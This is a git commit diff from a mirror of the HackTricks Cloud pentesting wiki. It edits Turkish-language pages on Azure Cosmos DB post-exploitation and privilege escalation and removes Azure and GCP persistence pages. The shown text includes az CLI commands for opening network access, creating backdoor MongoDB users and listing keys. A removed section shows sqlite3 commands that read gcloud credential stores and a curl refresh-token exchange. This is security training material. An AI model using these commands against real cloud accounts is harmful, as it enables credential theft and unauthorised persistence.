mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
File diff suppressed because one or more lines are too long
@@ -142,7 +142,7 @@
|
||||
- [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
|
||||
- [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
|
||||
- [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
|
||||
- [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
|
||||
- [GCP - Token Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistence.md)
|
||||
- [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
|
||||
- [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
|
||||
- [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
|
||||
@@ -458,8 +458,8 @@
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - MySQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
|
||||
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
|
||||
@@ -489,8 +489,8 @@
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Automation Accounts Persistence](pentesting-cloud/azure-security/az-persistence/az-automation-accounts-persistence.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistance.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - Queue SQL Persistence](pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistence.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
- [Az - Device Registration](pentesting-cloud/azure-security/az-device-registration.md)
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
# Az - Queue Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Queue
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue.md
|
||||
{{#endref}}
|
||||
|
||||
### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
Bu izin, bir saldırganın depolama hesabı içinde kuyruklar ve bunların özelliklerini oluşturmasına veya değiştirmesine olanak tanır. Yetkisiz kuyruklar oluşturmak, meta verileri değiştirmek veya erişim kontrol listelerini (ACL'ler) değiştirerek erişimi vermek veya kısıtlamak için kullanılabilir. Bu yetenek, iş akışlarını kesintiye uğratabilir, kötü niyetli veriler enjekte edebilir, hassas bilgileri dışarı sızdırabilir veya daha fazla saldırıyı mümkün kılmak için kuyruk ayarlarını manipüle edebilir.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
|
||||
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,20 +0,0 @@
|
||||
# Az - SQL Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### Yaygın Süreklilik Teknikleri
|
||||
|
||||
- SQL kimlik bilgilerini ele geçirin veya bir SQL kullanıcısı oluşturun (gerekirse SQL kimlik doğrulamasını etkinleştirin)
|
||||
- Ele geçirilmiş bir kullanıcıyı Entra ID yöneticisi olarak atayın (gerekirse Entra ID kimlik doğrulamasını etkinleştirin)
|
||||
- VM'de arka kapı (eğer SQL VM kullanılıyorsa)
|
||||
- SQL veritabanına erişimi sürdürmek için bir FW kuralı oluşturun
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CosmosDB Post Exploitation
|
||||
SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
|
||||
SQL Database hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-cosmosDB.md
|
||||
@@ -11,13 +11,26 @@ SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
Bu izinle, Azure Cosmos DB hesapları oluşturabilir veya güncelleyebilirsiniz. Bu, hesap düzeyindeki ayarları değiştirmeyi, bölgeleri eklemeyi veya kaldırmayı, tutarlılık seviyelerini değiştirmeyi ve çok bölgeli yazma gibi özellikleri etkinleştirmeyi veya devre dışı bırakmayı içerir.
|
||||
Bu izinle, Azure Cosmos DB hesapları oluşturabilir veya güncelleyebilirsiniz. Bu, hesap düzeyindeki yapılandırmaları değiştirmeyi, otomatik failover'ı etkinleştirmeyi veya devre dışı bırakmayı, ağ erişim kontrollerini yönetmeyi, yedekleme politikalarını ayarlamayı ve tutarlılık seviyelerini ayarlamayı içerir. Bu izne sahip saldırganlar, güvenlik kontrollerini zayıflatmak, kullanılabilirliği bozmak veya ağ kurallarını değiştirerek veri sızdırmak için ayarları değiştirebilir.
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--capabilities EnableMongoRoleBasedAccessControl
|
||||
```
|
||||
Ayrıca, hesapta yönetilen kimlikleri etkinleştirebilirsiniz:
|
||||
```bash
|
||||
az cosmosdb identity assign \
|
||||
--name <cosmosdb_account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Bu izinle, bir Azure Cosmos DB hesabının SQL veritabanı içinde konteynerler (koleksiyonlar) oluşturabilir veya bunları değiştirebilirsiniz. Konteynerler verileri depolamak için kullanılır ve bunlardaki değişiklikler veritabanının yapısını ve erişim desenlerini etkileyebilir.
|
||||
```bash
|
||||
@@ -66,7 +79,7 @@ az cosmosdb keys regenerate \
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read`
|
||||
|
||||
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde tetikleyiciler oluşturabilir veya değiştirebilirsiniz. Tetikleyiciler, işlemlere yanıt olarak sunucu tarafı mantığını çalıştırmanıza olanak tanır.
|
||||
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde tetikleyiciler oluşturabilir veya değiştirebilirsiniz. Tetikleyiciler, işlemlere yanıt olarak sunucu tarafı mantığını yürütmenizi sağlar.
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
@@ -79,7 +92,7 @@ az cosmosdb sql trigger create \
|
||||
--operation All
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
|
||||
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde saklanan prosedürler oluşturabilir veya değiştirebilirsiniz. Cosmos DB'deki saklanan prosedürler, verileri işlemek veya doğrudan veritabanında işlemler gerçekleştirmek için mantığı kapsüllemenizi sağlayan sunucu tarafı JavaScript fonksiyonlarıdır.
|
||||
Bu izinle, bir Azure Cosmos DB hesabındaki SQL veritabanı konteynerinde saklanan prosedürleri oluşturabilir veya değiştirebilirsiniz. Cosmos DB'deki saklanan prosedürler, verileri işlemek veya doğrudan veritabanında işlemler gerçekleştirmek için mantığı kapsüllemenizi sağlayan sunucu tarafı JavaScript fonksiyonlarıdır.
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
@@ -119,52 +132,4 @@ az cosmosdb mongodb database create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
Bu izinle, bir Azure Cosmos DB hesabında yeni MongoDB rol tanımları oluşturabilirsiniz. Bu, MongoDB kullanıcıları için belirli izinlere sahip özel roller tanımlamayı sağlar.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
Bu izinle, bir Azure Cosmos DB hesabı içinde yeni MongoDB kullanıcı tanımları oluşturabilirsiniz. Bu, MongoDB veritabanlarına belirli roller ve erişim seviyeleri ile kullanıcıların sağlanmasını mümkün kılar.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -11,7 +11,7 @@ SQL Veritabanı hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
|
||||
|
||||
Bu izinlerle, bir kullanıcıya sorgu çalıştırma ve veritabanına bağlanma izinleri vererek ayrıcalıkları artırabilirsiniz. Öncelikle gerekli izinler ve kapsamları veren bir tanım rolü oluşturulur.
|
||||
Bu izinlerle, bir kullanıcıya sorguları yürütme ve veritabanına bağlanma izinleri vererek ayrıcalıkları artırabilirsiniz. Öncelikle gerekli izinler ve kapsamları veren bir tanım rolü oluşturulur.
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
|
||||
|
||||
Bu izinle, bir Azure Cosmos DB hesabında yeni MongoDB rol tanımları oluşturabilirsiniz. Bu, MongoDB kullanıcıları için belirli izinlere sahip özel roller tanımlamayı sağlar. Bunu kullanmak için RBAC işlevselliklerinin etkinleştirilmesi gerekir.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
Azure Cosmos DB hesabı içinde yeni MongoDB kullanıcı tanımları oluşturabilirsiniz. Bu, belirli rollere ve MongoDB veritabanlarına erişimi olan kullanıcıların sağlanmasını mümkün kılar.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "<myUser>",
|
||||
"Password": "<mySecurePassword>",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
MongoDB içinde yeni bir kullanıcı oluşturulduktan sonra, ona erişebiliriz:
|
||||
```bash
|
||||
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
Bu izinle, bir Azure Cosmos DB hesabı için birincil ve ikincil anahtarları alabilirsiniz. Bu anahtarlar, veritabanı hesabına ve kaynaklarına tam erişim sağlar, veri okuma, yazma ve yapılandırma değişiklikleri gibi işlemleri mümkün kılar.
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
# GCP - Token Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Kimlik Doğrulanmış Kullanıcı Token'ları
|
||||
|
||||
Bir kullanıcının **mevcut token'ını** almak için şunu çalıştırabilirsiniz:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Bu sayfada **bu token'i gcloud kullanarak doğrudan nasıl kullanacağınızı** kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
**Yeni bir erişim token'i oluşturmak için** detayları almak üzere şunu çalıştırın:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Ayrıca **`$HOME/.config/gcloud/application_default_credentials.json`** ve **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** dosyalarında yenileme jetonları bulmak da mümkündür.
|
||||
|
||||
Yeni bir erişim jetonu almak için **yenileme jetonu**, istemci kimliği ve istemci sırrı ile şunu çalıştırın:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
**Admin** > **Güvenlik** > **Google Cloud oturum kontrolü** bölümünde yenileme tokenlarının geçerliliği yönetilebilir ve varsayılan olarak 16 saat olarak ayarlanmıştır, ancak süresiz olarak ayarlanabilir:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Kimlik doğrulama akışı
|
||||
|
||||
`gcloud auth login` gibi bir şey kullanıldığında kimlik doğrulama akışı, tarayıcıda bir istem açacak ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http portuna bu gibi bir istek gönderecektir:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Sonra, gcloud, bazı sabit kodlanmış `client_id` (`32555940559.apps.googleusercontent.com`) ve **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) ile **son refresh token verilerini** almak için durumu ve kodu kullanacaktır.
|
||||
|
||||
> [!CAUTION]
|
||||
> localhost ile iletişimin HTTP üzerinden olduğunu unutmayın, bu nedenle bir refresh token almak için verileri yakalamak mümkündür, ancak bu veri sadece 1 kez geçerlidir, bu yüzden bu işe yaramaz, refresh token'ı dosyadan okumak daha kolaydır.
|
||||
|
||||
### OAuth Kapsamları
|
||||
|
||||
Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) adresinde bulabilir veya bunları çalıştırarak alabilirsiniz:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Bu betikle **`gcloud`**'un kimlik doğrulamak için kullanabileceği kapsamların hangileri olduğunu görebilirsiniz:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Bunu çalıştırdıktan sonra, bu uygulamanın bu kapsamları desteklediği kontrol edildi:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
ilginçtir ki bu uygulamanın **`drive`** kapsamını desteklemesi, bir saldırganın kullanıcıyı bu kapsamla bir token oluşturması için zorlaması durumunda, kullanıcının GCP'den Workspace'e geçiş yapmasına olanak tanıyabilir.
|
||||
|
||||
**Bunu nasıl** [**istismar edeceğinizi buradan kontrol edin**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Hizmet Hesapları
|
||||
|
||||
Kimlik doğrulaması yapılmış kullanıcılarla olduğu gibi, bir hizmet hesabının **özel anahtar dosyasını ele geçirirseniz**, genellikle **istediğiniz kadar erişim sağlayabilirsiniz**.\
|
||||
Ancak, bir hizmet hesabının **OAuth token'ını çalarsanız, bu daha da ilginç olabilir, çünkü bu token'lar varsayılan olarak sadece bir saat boyunca geçerli olsa da, eğer **kurban özel api anahtarını silerse, OAuth token'ı süresi dolana kadar geçerli kalacaktır**.
|
||||
|
||||
### Metadata
|
||||
|
||||
Açıkça, GCP ortamında çalışan bir makinenin içindeyseniz, **o makineye bağlı hizmet hesabına erişim sağlayabileceksiniz, bu da metadata uç noktasına ulaşarak mümkündür** (bu uç noktada erişebileceğiniz OAuth token'larının genellikle kapsamlarla kısıtlandığını unutmayın).
|
||||
|
||||
### Çözüm Önerileri
|
||||
|
||||
Bu teknikler için bazı çözüm önerileri [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) adresinde açıklanmıştır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user